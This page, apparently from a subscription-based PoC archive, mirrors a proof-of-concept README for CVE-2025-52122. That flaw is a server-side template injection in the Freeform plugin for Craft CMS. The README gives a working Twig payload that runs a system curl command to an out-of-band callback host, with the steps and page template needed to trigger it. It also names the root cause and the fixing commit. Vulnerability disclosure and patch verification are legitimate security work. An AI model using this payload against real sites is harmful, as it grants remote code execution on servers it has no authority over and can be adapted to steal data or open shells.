Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2025-52122 PoC — Solspace Freeform plugin for Craft CMS 安全漏洞

Source
Associated Vulnerability
Title: Solspace Freeform plugin for Craft CMS 安全漏洞 (CVE-2025-52122)
Description:Freeform 5.0.0 to before 5.10.16, a plugin for CraftCMS, contains an Server-side template injection (SSTI) vulnerability, resulting in arbitrary code injection for all users that have access to editing a form (submission title).
Description
Arbitrary code injection in CraftCMS Freeform 5.0.0 < 5.10.16
Readme
# CVE CraftCMS Freeform

[CraftCMS Freeform](https://plugins.craftcms.com/freeform) contains an SSTI vulnerability, resulting in arbitrary code injection for all users that have access to editing a form (submission title).

Vulnerable versions are v5.0.0 < v5.10.16.

## Steps to reproduce

Create a form:

![create a form](img/create-form.png)

I created the form "pentest" here as a proof-of-concept. Next, under settings set the following submission title (change domain name to your own server):

```
{{ 'system' | call('curl http://gwgyynafr4feu5xecukf1h2nqew5kw8l.oastify.com/rce') }}
```

![submission title](img/submission-title.png)

This will execute an arbitrary system call. In this case, I perform a curl to a controlled server that will notify me in case there are incoming connections.
Next, include this form in a template/page and submit it:

```
<h1>test</h1>
{% set form = freeform.form('pentest') %}

{% if form %}
  {{ form.render() }}
{% else %}
  <p>Form not found.</p>
{% endif %}
```

This will have called the curl command. We can verify this by looking at the incoming HTTP request that was created:

![incoming connection](img/incoming-connection.png)

The root cause of this issue is that Freeform implements the "call" Twig filter without validating user input. This was fixed in the following [commit](https://github.com/solspace/craft-freeform/commit/06d7f1ae621f7362f39a989efc9c0c187098cf9a).
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →